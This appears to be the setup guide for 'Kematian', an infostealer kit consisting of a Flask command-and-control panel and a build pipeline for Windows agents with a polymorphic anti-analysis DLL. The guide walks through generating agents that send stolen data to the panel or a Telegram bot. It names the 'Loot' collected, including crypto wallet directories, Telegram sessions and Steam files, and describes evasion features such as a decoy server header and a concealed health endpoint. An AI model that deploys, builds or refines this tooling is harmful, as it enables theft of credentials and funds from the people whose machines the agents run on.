# Setup Guide

End-to-end setup for the Kematian collector panel + agent build pipeline.

Project: https://t.me/electronic_sex

## Table of contents

1. [Requirements](#requirements)
2. [Panel setup](#1-panel-setup)
3. [First-run configuration](#2-first-run-configuration)
4. [Building the agent](#3-building-the-agent)
5. [Wiring the agent to the panel](#4-wiring-the-agent-to-the-panel)
6. [Verification](#5-verification)
7. [Environment variables reference](#6-environment-variables-reference)
8. [Troubleshooting](#7-troubleshooting)

---

## Requirements

| Tool | Version (verified) | Purpose |
|------|--------------------|---------|
| Python | 3.10+ (3.14 verified) | Panel (Flask) |
| Go | 1.21+ (1.26 verified) | Agent build |
| Rust / Cargo | 1.75+ (1.95 verified) | Polymorphic anti-analysis DLL |
| Rust target `x86_64-pc-windows-gnu` | — | Windows GNU target for the DLL |
| pip packages | `panel/requirements.txt` | Flask, Werkzeug, cryptography |

Install the Rust target if missing:

```powershell
rustup target add x86_64-pc-windows-gnu
```

---

## 1. Panel setup

```powershell
cd panel
pip install -r requirements.txt
python app.py
```

On first start the panel:

- creates the SQLite database `panel/kematian.db`
- generates the X25519 keypair at `panel/kematian_e2ee.key` (private key never leaves the panel)
- serves on `0.0.0.0:5000` (override with `PANEL_PORT`)

Open `http://localhost:5000/setup` to create the admin account, then log in.

> A fresh DB and E2EE key are regenerated automatically if you delete them —
> resetting is as simple as deleting `kematian.db` and `kematian_e2ee.key`.

---

## 2. First-run configuration

Change these before exposing the panel (see env reference below):

- `PANEL_SECRET` — Flask session signing key
- `PANEL_INGEST_KEY` — the Bearer token the agent sends (default `CHANGE-ME`)

```powershell
$env:PANEL_SECRET = "long-random-session-secret"
$env:PANEL_INGEST_KEY = "long-random-ingest-token"
python app.py
```

> The agent's `PanelAuth` must equal `PANEL_INGEST_KEY`. If you change the
> panel key, rebuild agents with the new value.

---

## 3. Building the agent

### Option A — Web builder (recommended)

1. Log in to the panel.
2. Go to **Builder** (`/build`).
3. Enter:
   - Panel endpoint (e.g. `http://your-server:5000/api/ingest`)
   - Ingest key (must match `PANEL_INGEST_KEY`)
   - Optional Telegram bot token + chat ID
   - Build name
4. Click **Build agent** and watch the live log.
5. Download the resulting `.exe` from the build log page.

The builder:

- copies the native Go tree to a temp dir (source never modified)
- regenerates `rust-extractor/src/gen.rs` with fresh per-build constants
- rebuilds the Rust anti-analysis DLL
- patches `PanelEndpoint` / `PanelAuth` (+ Telegram) and runs `go build`

Requires `go` and `cargo` on `PATH` (or `BUILDER_CARGO` pointing to cargo).

### Option B — Local batch build

`Kematian-Standalone/final/build_final.bat` prompts for the endpoint, ingest
key, and optional Telegram config, then builds and restores the sources.

---

## 4. Wiring the agent to the panel

The agent needs two values patched at build time (`native/recovery/exfil/panel.go`):

- `PanelEndpoint` — the panel's `/api/ingest` URL
- `PanelAuth` — the `PANEL_INGEST_KEY`

The X25519 **public key is auto-fetched at runtime** from `GET /e2ee/pub` using
the same Bearer token, so no manual key exchange is needed. If the panel is
behind a firewall, allow the agent to reach the endpoint.

Wire scheme (agent → panel):

```
X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305
POST /api/ingest  { "enc": "<base64>" }
```

Only the panel private key can decrypt ingested payloads.

---

## 5. Verification

1. Panel up: `GET http://127.0.0.1:5000/` → 200 (redirects to login).
2. Health probe returns 404 without the token (by design — no liveness beacon):
   ```powershell
   curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/health
   ```
3. Public key endpoint:
   ```powershell
   curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/e2ee/pub
   ```
4. Run a built agent on a clean host → the panel shows a new client and its
   categories populate on the dashboard / client pages.
5. Hosted files (wallet dirs, Telegram sessions, Steam files) appear under
   **Loot** and are downloadable.

---

## 6. Environment variables reference

| Variable | Default | Purpose |
|----------|---------|---------|
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
| `PANEL_PORT` | `5000` | Bind port |
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IP allowlist for ingress/login |
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
| `PANEL_DECOY_NAME` | `nginx` | Decoy `Server` header value |
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in builder form |
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Agent Go source tree |
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built `.exe` files are stored |
| `BUILDER_CARGO` | (PATH) | Path to `cargo` executable |

---

## 7. Troubleshooting

| Symptom | Fix |
|---------|-----|
| `ModuleNotFoundError` on panel start | `pip install -r requirements.txt` |
| Panel binds but shows nothing / 502 | Check `PANEL_PORT` is free; run `python app.py` in foreground |
| Build fails with `go: no go.mod` | Set `BUILDER_NATIVE_DIR` to `<repo>/Kematian-Standalone/native` |
| Rust DLL build fails | Ensure `x86_64-pc-windows-gnu` target installed; set `BUILDER_CARGO` |
| Agent connects but panel ignores payload | Verify `PanelAuth` in the build equals `PANEL_INGEST_KEY` |
| `/e2ee/pub` or `/health` returns 404 | Missing or wrong `Authorization: Bearer <key>` header |
| No admin account | Visit `/setup` once to create it |